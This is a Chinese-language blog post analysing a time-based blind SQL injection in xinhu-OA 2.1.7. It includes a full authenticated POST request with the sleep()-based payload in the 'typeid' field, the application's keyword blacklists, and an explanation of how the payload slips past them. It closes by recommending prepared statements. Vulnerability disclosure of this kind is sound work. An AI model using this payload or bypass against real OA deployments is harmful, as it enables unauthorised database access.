xinhu-OA SQL注入漏洞分析

由 mayoterry 发布

项目地址:https://github.com/rainrocka/xinhu

测试版本:2.1.7(测试时的最新版本)

数据库连接方式:mysql拓展

xinhu-OA是一款免费开源的办公OA系统,笔者最近在对其简单的审计后发现了多个SQL注入,以下为其中某个漏洞的简单分析与记录。

漏洞复现

本地搭建测试环境,访问OA系统后台:

98021-hh0ru63ok3d.png

SQL注入 POST数据包 (后台注入)

POST /index.php?a=publicstore&ajaxbool=true&d=&m=index&rnd=785384 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.152.103/
Cookie: PHPSESSID=bl5jtsq0rqm9mis69j0s89e845;xinhu_ca_adminuser=admin;xinhu_ca_rempass=0;xinhu_mo_adminid=ff0ddo0dos0dyy0cc0ddo0fo0dog0cl0id0ff0il011
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 237
Host: 192.168.152.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive

atype=xuexi&defaultorder=&dir=&keywhere=&limit=15&loadci=1&modenum=knowtiku&page=1&sort=&start=0&storeafteraction=&storebeforeaction=&tablename_abc=ci0sr0sd0vva0vrr0sv0ao0vvo0ci0sv0as0sa09&typeid=if(now()=sysdate()%2Csleep(0)%2C0)&where=

注入点:typeid

注入类型:时间盲注( time-based blind)

POC: typeid=if(now()=sysdate()%2Csleep(0)%2C0) , http response 的时间接近为 0s ;

POC: typeid=if(now()=sysdate()%2Csleep(1)%2C0) , http response 的时间接近为 3s ;

90610-60wibaqzcmi.png

POC: typeid=if(now()=sysdate()%2Csleep(2)%2C0) , http response 的时间接近为 6s ;

56313-i30cl3zr47.png

POC: typeid=if(now()=sysdate()%2Csleep(3)%2C0) , http response 的时间接近为 9s ;

78458-8ewlns2yswb.png

以上证明SQL时间盲注真实存在。

漏洞分析

本地搭建PHPStorm + xdebug 调试环境。在浏览器访问以上漏洞利用的POST数据包,断点可以查看poc数据的传入点:

(webmain/model/flow/knowtikuModel.php)

28227-mvs6021b2y.png

全局查看xinhu-OA对用户可控输入数据的安全过滤点主要在 include/class/rockClass.php 文件,又因为其在对SQL语句的处理上基本都是拼接变量然后执行,所以关于SQL注入的安全对抗主要在 jmuncode() 和 iconvsql()函数 。

    public function jmuncode($s, $lx=0, $na)
    {
        $jmbo = false;
        if($lx==3)$jmbo = $this->isjm($s);
        if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
            $s = str_replace('rockjm_', '', $s);
            $s = $this->jm->uncrypt($s);
            if($lx==1){
                $jmbo = $this->isjm($s);
                if($jmbo)$s = $this->jm->uncrypt($s);
            }
        }
        if(substr($s, 0, 7)=='basejm_' || $lx==5){
            $s = str_replace('basejm_', '', $s);
            $s = $this->jm->base64decode($s);
        }
        $s=str_replace("'", '&#39', $s);
        $s=str_replace('%20', '', $s);
        if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
        $str = strtolower($s);
        foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
            $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
            $s = $this->lvlarrep($str, $v1);
            $str = $s;
        }
        $cslv = array('m','a','d','ip','web','host','ajaxbool','token','adminid');
        if(in_array($na, $cslv))$s = $this->xssrepstr($s);
        return $this->reteistrs($s);
    }


    public function iconvsql($str,$lx=0)
    {
        $str = str_ireplace($this->lvlaraa,$this->lvlarab,$str);
        $str = str_replace("\n",'', $str);
        if($lx==1)$str = str_replace(array(' ',' ','    '),array('','',''),$str);
        return $str;
    }

jmuncode() 函数全局对用户提交的GET,POST数据进行过滤和替换, iconvsql() 函数对部分SQL语句进行过滤。

jmuncode()中使用了 $this->contain 判断传入的字符是否带有黑名单中的字符:

    public function contain($str,$a)
    {
        $bool=false;
        if(!$this->isempt($a) && !$this->isempt($str)){
            $ad=strpos($str,$a);
            if($ad>0||!is_bool($ad))$bool=true;
        }
        return $bool;
    }

变量 $lvlaras , $lvlaraa 默认赋值为:

        $this->lvlaras  = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep ,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
        $this->lvlaraa  = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
        $this->lvlarab    = array();

可以看到全局过滤函数 jmuncode() 要求用户输入的字符不能包含 $lvlaras 内的值,SQL过滤函数 iconvsql() 要求用户输入的字符不能包含 $lvlaraa 内的值 。

继续分析,在 iconvsql() 函数处下断点,发送poc数据包,然后 resume program 跳到下个断点,发现直到结束,typeid的值并没有传到到 iconvsql() 函数中,也就是说在执行对应的SQL语句时,程序并没有调用 iconvsql() 函数。

68385-s132cz53vrs.png

接着在 jmuncode() 函数处下断点,发现用户输入的 typeid 值会经过该函数进行安全过滤

24177-2vt5awhbdaz.png

看来 typeid传入的值 “ if(now()=sysdate()%2Csleep(2)%2C0) ” 并没有被 jmuncode() 的黑名单捕获。需要注意的是,$lvlaras的黑名单有一个sleep (后面有个空格),而typeid值确是sleep() ,所以并没有成功的匹配上黑名单。

我们最后断点在 include/class/mysqlClass.php 文件的SQL执行函数处,可以看到我们上面输入的SQL盲注POC并没有被过滤掉,而是完整的被执行了。

39144-tmmpeiaeqfn.png

至此,漏洞的分析也就结束了。

总结

1、该OA系统并没有对所有SQL执行的语句调用 iconvsql() 函数进行安全过滤,留下了SQL注入的安全隐患;

2、jmuncode() 函数中的黑名单并不完整,存在被绕过的情况;

3、黑名单难免会被绕过,选择预处理SQL机制而不是拼接SQL会是更好的方法。


仅有一条评论

  1. ERQI · 2020-10-09 11:06

    很棒

发表评论